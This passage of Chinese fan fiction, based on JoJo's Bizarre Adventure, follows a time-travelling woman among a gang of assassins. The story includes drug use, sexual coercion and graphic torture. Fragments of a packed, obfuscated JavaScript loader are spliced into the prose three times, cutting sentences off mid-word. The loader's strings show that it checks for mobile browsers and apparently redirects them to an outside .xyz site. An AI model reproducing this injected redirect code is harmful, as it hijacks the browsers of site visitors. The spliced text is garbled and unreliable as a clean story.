我走出房间,下楼到客厅去,一眼就看见一个金发的身影。梅洛尼垂着头,胳膊搭在沙发扶手上,他看向我,咧开嘴笑了。我在台阶上只看见一个翻转的脸。我走下去,走到他旁边。梅洛尼看我这幅样子很欣喜,他试着用胳膊撑了两下身体,没成功,只好趴在沙发上,手腕悬空着搭在扶手上,像一条蛇。我看见他眼神迷离,指尖轻轻地发着抖。 梅洛尼。我在他旁边坐下,就这么一会儿,你又用药了?他没肯定也没否认,但他的身体反应告诉了我一切。我不得不告诉他应该尽快寻找替代品,因为这药物明年就停产了。那时候你戒得挺……呃,反正不那么痛快。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744052|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梅洛尼一直嗑的安眠药停产的那段时间他的戒断反应的确很严重。他转头看向我,浑浊的绿眼睛在我眼里和乔鲁诺的绿眼睛交叠在一起。梅洛尼,乔鲁诺,普罗修特——是不是金发的男人都是疯子? 在我走神的时候梅洛尼已经捉住了我的手腕,他灵活的舌头很快地舔了一下我的手肘,眼睛瞬间亮起来。他笑眯眯地看向我,哎呦,他问我,你和谁做啦? 这种事情在梅洛尼面前从来瞒不住。我叹气,把另一只胳膊搭上沙发靠背,说普罗修特,但是我们没做,只是用嘴。梅洛尼又追问我是主动的还是被强迫的,我说你猜呢?现在这种情况我会主动去给男人吸屌吗? 那不一定哦。梅洛尼笑着摇摇手指,——我知道你是个小浪货。被他这样说我莫名地难受了一下,尽管我确实如此,但现在不一样,我失去了战斗的权利,只剩一个女人的躯壳。 梅洛尼又触摸我的嘴唇,他问我体验怎么样?一到十分的话,你给普罗修特打几分?要是换做普通的女人,早就吓个半死或者给他一巴掌了。我说我一分都不想给他,他简直把我当个泄欲的工具在用。 嗯哼。梅洛尼点点头,我记下来了哦。你喜欢这样吗?我当然不喜欢!我叫道。梅洛尼搂住我,说别激动,我只是想给娃娃脸提供些新的素材,我太激动了——他的确太激动了,因为他的脸几乎要贴上我的胸口。 好在霍尔马吉欧这时候从楼上下来,解救了处于困境中的我。他吹了声口哨,说原来你在这儿啊,找你半天了。队长在找你,他叫你去书房一趟。 我像抓住了救命稻草,赶紧把身子往外抽。梅洛尼不情不愿地松开我,他的手是冰凉的,像一条滑溜溜的蛇。 我走进书房,却发现屋内空无一人。电脑的显示屏亮着,桌面上散落着一叠照片,里苏特去哪儿了?按理来说都到了眼下这个节骨眼霍尔马吉欧应该不至于无聊到玩这种恶作剧。 我走到办公桌后面,看向电脑屏幕,那上面赫然是里苏特和谁的消息记录。我知道这样不好,但我还是翻开了桌面上的文件夹,翻看了那些照片。 除了特里休的照片,那里面还有多娜泰拉——特里休的母亲的照片。我心里一惊。里苏特在调查什么?我看向泛着光的屏幕信息,清楚的最后一条:我们得到一个名字。 门突然砰的一声被关上。我吓了一跳,转过头,看见里苏特靠在门边。他应该在这里很久了,只是利用金属制品做了点小把戏隐身——我意识到我不该乱动他的东西。 他没给我一点好脸色,自顾自走过去,在宽大的办公桌后坐下,下巴支在交叠的双手上。一般来说他对谁做出这种表情,谁就要大祸临头了。 我的本能是逃跑。我几乎用我最快的速度跑到门边去,却发现门锁被动了手脚,里苏特用金属制品改造了锁孔。我用力去扒门框,只是徒劳。我听见里苏特的笑声。 我惊恐地抬头,里苏特平静地看着我,但我知道他的眼睛里隐藏着愤怒。他看向我,说你喜欢那里?那就待在那儿。 他说完的片刻我的手就被铐在了门把手上,金属环绕着我的手腕像植物一样生长,没过几秒钟就变成了一个高级量身定做的手镯。我的手连着门把手,我不太喜欢它。 我想先道歉,可我一张嘴,却感觉嘴里一痛——里苏特把我的舌头钉在了我的上颚上,我只能发出呜呜的呜咽。我一只手拴在门上,身子顺着门滑落,跪在地上,抬起头,不知道他看起来我是怎么样。 里苏特血红色的眼睛瞪着我,黑色的巩膜让我想起华丽的黑色披肩。 “告诉我,你都隐瞒了什么?” —to be continued— 9. 金属制品,镜中人 我尽力活动舌头,吐出了一颗图钉,鲜血瞬间溢满了我的口腔。我定定地看着他拿着一把照片起身,一步一步逐渐向我逼近。 里苏特一定是发现了什么。我后悔没在一开始就告诉他全部真相,但我只是想活下去——凭我对里苏特的认识,如果他在三年前就知道迪亚波罗这个人,那么他会使出什么手段,我想都不敢想。 里苏特走到我面前,一把将那些照片摔在我脸上,他深黑色巩膜里血红的眼睛死死地瞪着我,几乎要在我身上烧出一个洞来。我很少看里苏特这么生气。他质问我的目的是什么,为什么隐瞒关于老板身份部分的情报——明明我知道,为什么不告诉他? 我委屈极了。我只是一个未来的穿越者,我只是一颗棋子,我只是想把过去乱七八糟的轨迹重新拼好。里苏特用力踹了我一脚,门板发出一声巨响,我闷哼一声,身子靠着门滑落在地上,只有左手高高举起,悬挂在门把手上,完全呈现出一个受虐者的姿态。 我颤抖着仰起头,对上里苏特愤怒的眼睛又连忙避开,生怕他认为这是挑衅。我的一只手还被牢牢地拴在那手镯里,我已经无路可退,只好放手一搏。我在心里祈祷里苏特不会真的对我下死手。 “我隐瞒老板的情报,是怕你们擅自行动,破坏命运的轨迹!”我叫道,“我只是希望我们都活下去,我也有我自己的任务在身……” 我一说话舌头上的伤口就隐隐作痛,可是我不得不说。话音未落,我就被里苏特揪着领子拎了起来,“——什么任务?你到底是谁派来的人?”他们当然没见过乔鲁诺。我双脚悬空,直冒冷汗,我不知道这一次是不是就此止步死在这儿了。 “——我是被控制的!就算我隐瞒了什么,你也不该怪我……我被一个人派来改变一切的结局,我存在的意义就是告诉你们这些,然后让事情顺利进行,发展,我们会创造一个新的热情,前提是……” “那个人是谁?!”里苏特质问我。我知道得到他的信任很难,更何况现在还失去了一部分——我咽了咽口水,告诉他是三年后的乔鲁诺·乔巴拿,热情的新教父。你应该没听过这个名字……因为他现在恐怕还在上中学。 里苏特沉默了。他松开手,我重重地摔在地上,无暇顾及身体的疼痛,我用还能活动的右手抓住他的裤脚,这近乎是祈求。里兹,里兹!我叫道,听着,我知道接受未来的事情很难,但这就是我要做的一切……我隐瞒一部分真相,是因为我怕你们提前冒险去杀老板,老板是一个巨大的威胁,你们会有危险的,在我的经历里我们都为了老板先后赴死,我只是——我只是不想你们死! 你把我们当什么?里苏特再一次看向我,他很愤怒。我们都是杀手,死在外面只是时间早晚的问题,你却在怕死? 不,我才不怕死!如果我怕死,为什么我愿意反复死这么多次,就为了来找你们?我狠狠地瞪着里苏特,感到血液从我的牙龈溢出到牙齿间,最后到嘴唇——我啐了一口血,我来到这里第一天的话到现在也要说,我就是要改变命运,不让你们为老板的计划送死。 里苏特沉默了片刻,叹了一口气。我看到他衣袖下的手掌松开又握紧。 那你呢?我趁着这个间隙给自己找回说话的权利,我反问他:你又把我当什么? 我的左手被高高吊起,里苏特站在我面前,我不得不仰头看他,这让我看起来实在没什么气势。在作为奥利维娅时,我也曾这样被拴着,那段时间我总是担惊受怕,但接管了琳赛的身体后,我在很多时候勇敢了很多,就像我敢于放火越狱一样,我在现在这样绝对劣势的场合也敢于跟里苏特叫板。我不知道这是身体原主的个性影响了我的性格,还是纯属是我胆子大了些。 “我是从天而降的一次新的机会,还是一个不得不处理的麻烦?我是个情报工具,还是个说谎的婊子?!在我被关在地下室没饭吃发着高烧的几十个小时,你想的是什么?就在刚才你的队员还他妈的把我当杯子用,你知不知——” 我一句话没说完,感到喉咙一紧,我呛咳出一口血来,随后几根针刺着我的上颚从我嘴里冒出来。我吐出一堆针,血液连带着唾液和一小点胃酸,从我嘴角连着拉出一条粘稠的丝。 反胃的感觉让我不住干呕,我满嘴鲜血,里苏特从始至终没有正面回答我的问题,他只是冷漠地看着我,用那双炽热的红眼睛在我身上烧出一个个看不见的血洞。 “……名字,”我还没缓过来,每吐出一个字口腔都钻心地疼痛,但我咬着牙坚持要说,“名字……你在调查什么?给你发消息的人是谁?” 很长很长的沉默像水一样安静地铺满房间,几乎淹没我的喉咙,让我喘不过气来。就在我感到自己快过度呼吸晕过去时,我的左手突然垂了下来——我抬手一看,手腕上勒出一道手镯一样的红痕,里苏特终于大发慈悲解除了金属制品。 “是索尔贝。” 我看着里苏特的脸,愣住了。 “就在昨天索尔贝突然联系上我,他给我一些关于特里休生父的情报,只包括模糊的曾住地和名字——索里特·纳索。” 这回沉默的人成了我。我坐在地上,靠着门板,眼看着自己的手开始发抖。我□□的,里苏特涅罗,你他妈骗我?!——你明明说不让他们两个去调查老板,你说你把他们送走了! 我气坏了,我站起来向他走去,可迈出一步就痛叫一声跪在了地上——一根细细的铁链从我小腿里钻出,脚镣一样连接着我的两条腿,与我的血肉直接相连,迈步时一扯就有鲜血从中涌出来,滴到地板上。 我以为里苏特松开我的手是打算放过我了,没想到还留了这一手——的确是他的风格。我恨得牙根痒痒,但什么也做不了,我跪坐在地上,眼看着血顺着小腿流下去,在地板上汇成一小滩。 我大口喘气,经过里苏特这一番折腾我流了太多血,短时间失去太多铁质让我开始呼吸困难和眩晕,我的视线开始模糊不清,里苏特在我眼前化成一个散开的光点,我看不清他的表情,但我能想象到,就像对待每个目标每个敌人那样,那种恐怖的平静。 “你欺骗我,欺骗所有人……你他妈骗了我们!你告诉我们他们被送走,然后又说他们失踪了,其实就是为了在背地里继续调查老板!” 我气得浑身发抖,但里苏特依旧是那副表情,始终不变。他越冷静,我就越生气——他妈的,这家伙作出这种事,是觉得组员的命不是命,还是单纯没把我的话听在心里?! 里苏特抓起我的手腕,不由分说地拽着我往里走,他的力气大得吓人,我挣扎无果,两条腿拖在地上,以一个屈辱的姿势被拽到办公桌边上,再被他拎着放到椅子上。我的后背挨着柔软的皮质靠背,感到一种久违的舒适,可我小腿上连着的链子又清醒地告诉我现在真实的处境是多么难堪。 里苏特把椅子往前一推,叫我看屏幕。我的脑子还有些混沌,我还是很愤怒——但我看向屏幕时,我愣住了。索尔贝发的长信息占据了屏幕的很大一片。他告诉里苏特,他们在西西里寻找那个没什么意义的任务目标时,意外结识了一个年过半百的鞋店老板,老人表示他认识照片里的人,他已经死了,死于撒丁岛他所住的村庄的一场大火。 我瞪大了眼睛。我仿佛知道了接下来会发生什么,这一切简直太过魔幻——果不其然,翻开消息记录的下一页,索尔贝表示那位老人自称也是那村庄的居民,只不过当时恰好出城采购皮料,没想到返回后村庄已经变成了一片废墟。 杰拉德立刻询问他,认不认识一个叫做多娜泰拉的女人?他表示认识,他还认识她年轻的男朋友,他身世很可怜,没有父母,被村庄的神父收养,虽然人懦弱,但很老实。 那男人叫什么名字?——索里特,索里特·纳索。那老人还遇到知音似的拉着他们闲聊,说这纳索是谁的姓也不知道,也许是那神父的?杰拉德敷衍了老人两句,拉着他就走了。 这听起来几乎牵强。我感到头皮发麻,命运像一个看不见的影子一样神不知鬼不觉地追上我们,将一切偏离轨道的事情强行拉回正轨。索尔贝和杰拉德就这样被迫地得知了老板曾经的名字,那接下来会发生什么? 回过神来时,我已经流了一身的汗,呼吸也失去了节奏。里苏特站在我旁边,用手抚摸我的后背,沉默地安抚我。他告诉我不必太紧张,可我怎么不紧张?如果命运真像这样紧跟着我们,那我们该怎么行走? 我知道里苏特得知这些时的心理肯定和我一样,但他是队长,他不能表现得太慌张,他得在所有人面前表现成最强大的那一个——这一点里苏特做得很好,他也本就如此。 让我去和他们对接吧。我对里苏特说。他面色严肃起来,一口回绝了我——可只有我知道命运的走向,里兹,就让我去吧!不然他们该怎么办?我急切地叫道。 “就是因为只有你知道一切的发展,我才不能允许你去冒险——你很重要,你对我们很重要。”里苏特认真地说。他捡起散落一地的照片,放在桌上理好,“既然你忠诚于我们,我们就会给你应得的尊重……你在意普罗修特的事吗?” 我不知道该怎么回答,我突然有点想笑。里苏特在这方面也很认真的样子真的很有意思。我说也不是特别在意,但是最好别再发生了……能帮我把这个解开吗? 我晃晃腿上的链子。他点点头,我以为里苏特会解除能力,没想到他直接按住我的腿一把将它拽了出来,鲜血瞬间飞溅出来,我痛得大叫出声。里苏特将那条血淋淋的链子拿起来递给我,我这才发现链子的末端连着一个沉甸甸的小东西——居然是一个和先前那一枚一样的吊坠。我翻过去,那鲜血淋漓的表面上刻着新的花体字:伊莎贝拉。 带着它。里苏特说。——这不是为了证明什么,只是为了让你记住,你是你自己。 里苏特推开书房的门走了。我一个人坐在他的办公椅上,不知道该哭还是该笑。桌上电脑屏幕还亮着,老板的名字像几根针一样刺着我的眼球。 —— 我不幸地被里苏特关了软紧闭,整天只能待在楼上的房间里不许下楼,也不许去别人的房间串门。和之前一样,在据点里的人会看着我,每天会有人上楼给我送饭,除此之外不准任何人主动接触我。 我仿佛又回到了在地下室的那段日子,看着满屋的杂物和中间堆出来的我的一块床位,感到有点无助和委屈。我明白里苏特的用意,他不想我再私自跑出去到处惹事,同时愿意最后信任我一次,所以没有选择拿链子把我拴起来。 中午的时候贝西上来给我送了一次饭,是他自己做的肉酱意大利面。贝西很擅长做饭。正午的天气很热,他没有穿那件显得他很魁梧的毛领外套,只穿了那件连身的黑背心。我接过盘子,又起了坏心思,我逗他,夸他身材真好,你经常健身吧,能不能让我摸摸你的肌肉? 贝西的身材确实很健壮,尤其是那两条胳膊,在长期的锻炼下线条非常明显,并且非常粗壮。贝西能用鱼竿吊起一两个成年男人,他的锻炼成果是不用说的。 我看着贝西被我这句话钉在原地,脸腾地一下红了,像颗番茄。他在原地支支吾吾,犹豫了很久,下定了决心似的把胳膊一伸:你摸吧! 我把手放在他结实的上臂上,他瞬间紧张得开始出汗,我觉得有意思,轻轻掐了一下,他触电似的收回胳膊,吞吞吐吐地说琳赛姐我先走了!说完头也不回地就要跑。 晚点儿再下楼吧!我冲他喊,——不然你大哥看到你这幅样子又该训你了!其实我只是想逗他玩儿,但贝西居然还真停下了脚步,他偷偷地回头偷瞄我,看我是什么反应,我被他这样子逗笑了。 我说你快下去吧,和我待一起太久要被队长骂的!他叫声好,急匆匆地下楼了。在我完全看不见他身影的时候,我远远地喊道:下次叫我伊莎好不好?伊莎贝拉,我叫伊莎贝拉! 我不知道贝西能不能听见,其实我更多只是想说给自己听当个心理慰藉。我经常对未知感到焦虑和恐惧,但现在真的麻烦终于来了,我反而心里诡异地放松下来,不像以前那样茶饭不思地去想了。 房间里有面破镜子,我之前把它钉在了墙上,现在倒是派上用场了。我百无聊赖地对着镜子整理头发,思考着怎么把这一头鸟窝一样的发型拯救一下,却突然从镜子里看到身后一个长头发的人影在我身后晃。我感到有点无奈的好笑,那除了伊鲁索还能有谁?——伊鲁索,我说道,你的镜子把戏我早看腻了,你需要我假装被吓到吗? 我假装要转头,却没想到伊鲁索真站在我后面。他的手搭在我肩膀上的时候我非常没出息地吓了一跳。伊鲁索嘲笑我的反应,然后问我,里苏特把你禁足啦? 我说你猜呢?我现在哪儿也去不了,只能待在楼上,等他发落,我简直就像个情报机器。伊鲁索笑了,他说那可不一定,如果你求求我的话,本大爷说不定能带你出去。我给伊鲁索一个“你说话小心点儿”的眼神,有了上次普罗修特的教训,我可不想再在这方面吃任何亏。 你想什么呢?伊鲁索拍了一下我的肩膀,不轻不重,头顺势凑得离我近了一点儿,他的头发蹭到我的脸,我闻到一股护发精油的香味。伊鲁索的确是比我认识的很多女孩都懂得怎么保养头发。 他指指镜子,我瞬间明白了,我骂他是不是疯了,如果里苏特一回来看见我不在据点怎么办?我拉你垫背吗?他摊摊手说好吧都随你,你这么怂我也没办法,那恐怕你就得在据点关上十天半个月了——这是伊鲁索惯用的伎俩,也许是激将法的某种变种,你看,明明是他自己提出的要求,最后却非要显得像我后悔了然后想求他。 好吧,尽管今天一整个上午给我的冲击让我的脑子像一团浆糊,但我还是愿意维护这个二十出头版本的伊鲁索的面子。我说那好吧,伊鲁索大人,只要出事儿你肯替我顶着的话——我话还没说完,只听他大喊一声镜中人,他拽着我的手腕,我们两个一起进到了那面老梳妆镜里。 我重新踩到地板,险些摔倒,看着地上杂志上翻转过来的文字,又稍微有点恼怒地看向伊鲁索。你这么着急把我拉进来干什么?伊鲁索笑着说放心,整个镜中世界里除了我们两个没有别人——我大叫道我就是因为这个才不放心的!这儿只有我们两个,你到底想干什么?想杀我还是想□□? 伊鲁索啧了一声,说你把我想成什么人了?整天把这些事儿挂在嘴边,我该说你敬业吗?我□□的伊鲁索,我没好气地骂他,我他妈早就不做妓女了!他笑了,说这不是说得挺熟练的? 我们顺着方向相反的楼梯下楼,客厅果然空无一人。伊鲁索走在前面,我跟在后面,我们两个就这么大摇大摆地走了出去。 我们沿着阴暗的巷子一路走出据点,这是我第一次光明正大不被控制地走出这扇门。阳光温和而沉默地洒在我们两个身上,我深吸了一口气,感到前所未有的放松。我的嘴里还隐隐作痛,裤腿上全是干涸的血迹,但我感到自己很自由。 街道上没有人,也没有车,店铺招牌上的文字全是反的,甚至云流动的细小动作也给我一种左右颠倒的错觉。伊鲁索大手一挥,说你随便逛吧,这儿一个人都没有——你去那一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当然不。什么样叫男人?难道非得像霍尔马吉欧那样满身烟味一个星期不洗澡不换衣服才叫男人?我说,他被我的话逗笑了,夸我有眼光,又磕了磕烟盒,拿了一根烟出来递给我。 我突然想戏弄他一下,没接他的火,而是叼着烟凑过去,让两个滤嘴靠在一起点燃。这是我的惯用手段之一。伊鲁索挑了挑眉,说你很熟练?我知道这个口是心非的小伙子现在肯定在强装镇定,因为他拿烟的手都在抖。 我们很默契地一起将烟放在嘴边,我吸了一口,久违的尼古丁缓解了我紧绷的神经,老实说,我想念这个。我们一起站在路边,烟雾缭绕,我不确定这些烟会不会出现在外面的世界里——这不重要。 我偷偷地看向伊鲁索,看他专注地抽烟,宽大的手掌夹着根小巧精致的细烟,反倒有些奇异的性感。我的视线从他的手指移到那头柔顺的深褐色头发上,还有他的红眼睛。伊鲁索和里苏特都有一双红眼睛,但它们给我的感觉完全不同。 我想起曾经和伊鲁索出任务的日子,想起某次目标的脖颈被整个切断时可怖的断面,喷涌而出的血溅了他一脸。伊鲁索的眼睛就像鲜红的动脉血。 “——你怎么了?” 伊鲁索拍拍我的肩膀,我这才从回忆里脱身出来,意识到自己在走神。伊鲁索嘲笑我发呆的样子很傻,又问我,你在想什么? “我在想你。”我诚实地说,“我觉得你抽烟的样子很性感,杀人的时候也是。” 要是换做以前的那个伊鲁索,肯定会自傲地挺起胸膛接受这个赞美,但现在的伊鲁索不一样,也许是因为我们还不太熟,他僵在原地,愣了半天,又吸了一口烟,说谢谢啊,眼神始终飘忽着没看我。 我抬起手看表,然后发现表盘也是反的。我知道伊鲁索待在镜中世界的时间够久,所以已经适应了阅读颠倒的文字的能力,但是我还没有。 伊鲁索见我看表,问我你不想再待一会儿?这么快就想走?我白了他一眼,说要是有人发现我失踪了怎么办?他说又不是真的带你走了,只是来这儿放松放松,这叫什么失踪? 我问他,你这么急着要带我来镜子里,还不想让我走,是不是有什么事要求我?你又想听什么八卦了?果不其然,伊鲁索叼着烟凑近我,他问我,里苏特把你怎么了? 组里的任何事都逃不过伊鲁索的耳朵。我想索尔贝和杰拉德还活着并且还意外得到老板的信息这件事未免太过突然,伊鲁索这人还是个大嘴巴,让组里其他人知道一定会引起恐慌。我只好半真半假地跟他编,我说因为里苏特发现我没有把所有情报都告诉他,以为我要背叛,所以生气了。 伊鲁索哦了一声,看起来还有点失望。他说他听见书房里噼里啪啦的声音,还有你的惨叫,还以为他跟普罗修特一样对你下手了。 我无语了。我说是不是整个组里的人都知道普罗修特的事?他说你觉得呢?所有人都看见他从你房间边走出来边提裤子,还能是干什么了?——好吧,看来我不得不接受以现在的身份呆在组里必须失去隐私权的事实。 伊鲁索话还没完,他说他跟霍尔马吉欧打赌,看谁会第一个对你出手,就赌一周的香烟。你俩最好改改闲着没事就好赌的毛病。我这么说,但还是忍不住问——谁赢了? 谁都没赢。伊鲁索摊手。霍尔马吉欧赌的是里苏特,他赌的是梅洛尼。我笑他们两个不懂组员,这帮人里普罗修特是行动力最强的一个,他想到什么就会立刻去做。 那里苏特呢?我说他像性冷淡。我说完自己也没忍住,我们两个一起大笑起来。我突然觉得很轻松,仿佛暂且忘却了被命运穷追不舍的压力,在伊鲁索还要继续开口前,我抓住他的胳膊,不管他的喊声往前跑去。我没管他骂我,笑着向他叫道:我们快趁现在多待一会儿吧,那不勒斯大着呢! 我们去了几乎每一个角落——我们在空无一人的公园里散步,走过一排排的超市货架,走上公寓楼的楼顶,我在空荡荡的马路上奔跑,感受风穿过我的裤腿,感到前所未有的快活。伊鲁索在后面叫我,他说你这家伙这时候又不在乎时间了?我说快走吧,快走吧!我们就把今天当做没有明天一样过好不好? 伊鲁索骂我神经病,但还是跟了上来。我们最终来到一个小教堂,我推开小门,地板上还有一层浮灰,似乎很久没人打扫过了。我们在第一排的椅子上坐下,侧面的圣母像正对着我们。我不信教,但我还是学着基督教徒的样子,虔诚地双手合十,闭上双眼。 我听见伊鲁索问我,你还信教?我说我不信,我只是想来这儿看看——在我家乡的习俗里,只要在床头摆放上圣母像,对着她祈祷,无论身处何处都能回家。 你不是那不勒斯人?——你家在哪儿?我说挪威。我放下手,睁开眼,果不其然看到伊鲁索一副惊讶的表情。 挪威离这儿可远着呢,你千里迢迢地赶来,就是为了当妓女?我说那可不是,中间我还做过不少工作呢。 他问我,既然这么想家,为什么不留下?我被这个问题小小地戳中了一下。我说我不属于家里,他们不欢迎我——这个故事太长了,你确定要听吗?还是说,你其实想要的是这个? 我吸了一口烟,凑到伊鲁索的嘴边去吻他,薄荷烟的气味萦绕在我们嘴边,他明显没反应过来我会这样,在原地僵了几秒。等他反应过来,扣住我的后脑勺回吻,我发出满足的哼声,悄悄地抬起手指,替他弹掉指尖夹着的那根烟上已经积得长长的一截烟灰。 我们在教堂里接吻,除了我们没有任何人,圣母静静地垂着眼睛注视着我们,祷告室里安静得只有风声。阳光从玻璃彩窗里照进来,在地板上投下五颜六色的影子。 我突然觉得一切不真实得像做梦。没有老板,没有死亡的命运,没有拯救所有人的重任,没有生与死。我掐灭手中的烟,扔在地上,摸索着抓住伊鲁索的手腕,回应我的是他与我十指相扣的手。 —to be continued— 10. 边缘人物 我们在镜中世界待了很长时间,一直到太阳落山。见天要黑了,我才赶紧如梦初醒般地叫伊鲁索带我从镜子里出去。我们从镜子里出来,我的脚刚踏上地面,抬头就对上了普罗修特阴沉的脸。 我吓了一跳,尴尬地笑了笑。伊鲁索看上去也很意外,他甚至偷偷往后退了两步。我在心里暗骂他先前非要带我进去的气势哪儿去了。普罗修特说楼下要开会,组里找了一圈就缺你们两个,用脚趾头想都知道肯定是伊鲁索带你躲镜子里了——你们俩干什么去了? 我们两个几乎异口同声地说什么也没干。我有点想笑,感觉自己像在学校谈恋爱被班主任发现的高中生。谢天谢地普罗修特没跟我们多计较,他只是冷笑了一声,说你们两个还玩上私奔了?快点走,一会队长要生气了。 伊鲁索被他带走了,我还是得留在楼上。但我实在按捺不住自己的好奇心,我偷偷走出走廊,从楼梯口探出半个头来。今天组里的人意外的很齐,加丘也回来了,他正拿一个很大的皮箱子往桌上放,想必是干了票大的要分钱。客厅里吵吵嚷嚷,霍尔马吉欧问伊鲁索干什么去了,伊鲁索搪塞了他两句,没跟他说我的事。 我坐到地上,一只手扶着墙边,就这么看他们开会。分了钱之后就轮到说正事,原来是去俱乐部调查代替奥利维娅死去的妓女的事。原本是该由我去的,但我现在被禁足了,所以得重新选人。梅洛尼自告奋勇要去,被里苏特一口回绝了。加丘大骂怎么总是这女人带来的破事儿?要是没有她,什么事都没有!我也能理解,他一回来就接受了这么些爆炸性消息,想必大脑都过载了。 其他人还在因为到底谁去叽叽喳喳吵个没完,霍尔马吉欧和伊鲁索互相甩锅,梅洛尼继续毛遂自荐,普罗修特让贝西去,说要借这个机会锻炼锻炼他,贝西明显不想接这份差事,浑身上下每个细胞都透露着拒绝,但又不知道怎么开口,我甚至觉得他快哭了。 每当这种局面出现的时候,里苏特都会出来主持大局,这次也不例外。他命令所有人安静,一个一个发言,如果没有明确的人选的话,就由他自己去。我的脑海中浮现出高大的里苏特穿着一身黑掀开俱乐部叮当作响的彩色门帘的画面,太滑稽了,我忍不住想笑。 一帮男人讨论了半天也没选出个最佳人选来,最后还是霍尔马吉欧捡了这份没人要的活。真是没办法,我听见他说,看来女人的事情果然还是我懂的多一些是吧?真够不要脸。我在心里腹诽。不过仔细想想,这种事还真是霍尔马吉欧处理的最多。 里苏特还没有起身走的意思,我看见他不知道从哪掏出几张照片(应该是他风衣内侧的口袋),放在桌子上。他打开笔记本电脑,开始交代老板下达的新的任务,给几个人分配了任务地点和目标。那几张照片始终在桌上没被动过,我眯起眼睛很费劲地看,那似乎是书房里我见过的那几张照片。 也许里苏特终于决定了告诉组员们事实真相,让他们知道自己的两个好兄弟并没有失踪多少能振奋人心。我想。我换了一个坐姿,把身子更凑近墙边,想听听他们要说些什么。 霍尔马吉欧自顾自地给自己点了根烟,环视了一圈示意谁还想要,普罗修特跟他对上视线,他递过去一根,给他点上。梅洛尼不抽烟,伊鲁索不在其他人面前抽,加丘现在还没开始学抽烟。除了他们两个,现在还身上还带着烟味的也就我一个。 客厅里烟雾缭绕,我靠着墙坐着,侧着身子,想听里苏特讲新情报的事,可我的身体却懈怠起来,经历了一天的混乱我开始犯困。现在不是休息的时候,可我却渐渐开始走神。我的视线从里苏特的脸扫到普罗修特指尖燃着的香烟,烟雾在灯下散开的样子在我眼中逐渐化作下午教堂彩窗透进的阳光,在伊鲁索的头发上洒下彩色的影子。我睡着了。 我不知道他们开了多久会,我睡得并不踏实,总觉得喘不过气。我迷迷糊糊地醒来,发现四周一片漆黑,客厅和台阶都没了影子。我吓坏了,第一反应是自己还在做梦,我掐了自己一把,疼痛如此清晰,我试探着站起来,手碰到像布料的手感。脚下的触感很柔软,就像我被装进了一个巨大的口袋。 在我的大脑宕机前,一只大手把我从捞了出来。突然见到光亮让我的眼睛很疼,我的第一反应是尖叫着挣扎。我不知道这算哪门子的替身攻击,我想跳下去逃跑,可这儿离地面太高了。 “嘘,嘘——”又一只手向我伸过来,两根指头捏住我的肩膀,我转过头,看见霍尔马吉欧笑着的脸,“——你想把其他人都吵醒吗?” 发现自己并不是被敌人绑架只是被同组队友恶趣味捉弄之后我反而放心了些。我松了口气,问他你想干嘛?——你是什么时候把我带过来的? 就在你睡着的时候。霍尔马吉欧没有回答我的上一个问题,但他松开捏着我的手,把我随手放到洗手池里,然后反锁上浴室的门。 【这段挺长的但是肯定也发不出来所以自主规制】 等我回到房间,天都快亮了。我只觉得浑身酸痛,身心俱疲,躺在床垫上想先休息个够。我此刻的样子可以称得上遍体鳞伤了。 我不得不重新思考自己的处境——也许如果我不是伊莎贝拉,只是个普通的女人,那处心积虑混进组里恐怕也只会是这样的下场。我感到很迷茫,本来清晰的目标仿佛一下又渺茫了起来。 我听见有人走进来,我转头一看,是梅洛尼。他很悠闲地倚在门边,向我招招手。他显然知道刚才发生了什么。我没起来,继续在床上躺尸,梅洛尼走过来,手搭上我的胳膊,我说你想干什么能不能明天再说?我真的累了。 我闭上眼像准备赴死,做好了再被他乱摸一阵的准备,或者被娃娃脸做什么奇怪实验,可是他没有。等了好一会儿身上也没有传来熟悉的触感,我疑惑地睁开眼,见他坐在我边上,只是低着头看着我,金色的头发在脸上洒下很大的一片阴影,我看不清梅洛尼的脸。 “你想做什么就做吧。” 我对他说。但梅洛尼还是没有动作,我看他始终用一种很复杂的眼神盯着我淤青的手腕,仿佛饱含着热意,将我的手腕灼烧得生疼。我问他怎么了,他问我,疼不疼?你觉得舒服吗? 这问题并不陌生。我不知道他问这个充满暗示的问题是想干什么,不过这话从他嘴里说出来倒是一点不奇怪。我说我又不是受虐狂。他笑了,说你可以下楼去了,里苏特说他不会再管你了。 这话说的很突然。梅洛尼又盯着我身上的伤看了一会,说伊鲁索和里苏特因为你的事大吵了一架,你知道吗?我说霍尔马吉欧已经跟我说过了。他噢了一声,笑眯眯地摆出一副“我都懂”的表情。我被他看得毛骨悚然,问他还有事吗? 组里的两个男人因为你差点要动手,你知道这意味着什么吗?他直勾勾地盯着我,眼神里是藏不住的兴奋和笑意。很浪漫,是吧?你可真是个了不起的人——我说我不想这样,霍尔马吉欧因为这个跟我大发雷霆,我半条命都快没了。 我把脱臼的手腕展示给他看,他捧起我的手细细端详,突然毫无预兆地用力掰了一把,我疼得大叫出声,骂他发什么神经,他笑眯眯地说帮你治疗啊,你看,是不是好多了? 我愣了一下,抬起手看,脱臼的关节居然真的被他掰正了。我惊讶地看向他,他还是笑,金头发像上好的绸缎,梅洛尼这时候还不经常戴他那个变态一样的眼罩,就像现在——很多时候我其实觉得他不戴那个看上去正常一些。 梅洛尼总在奇怪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 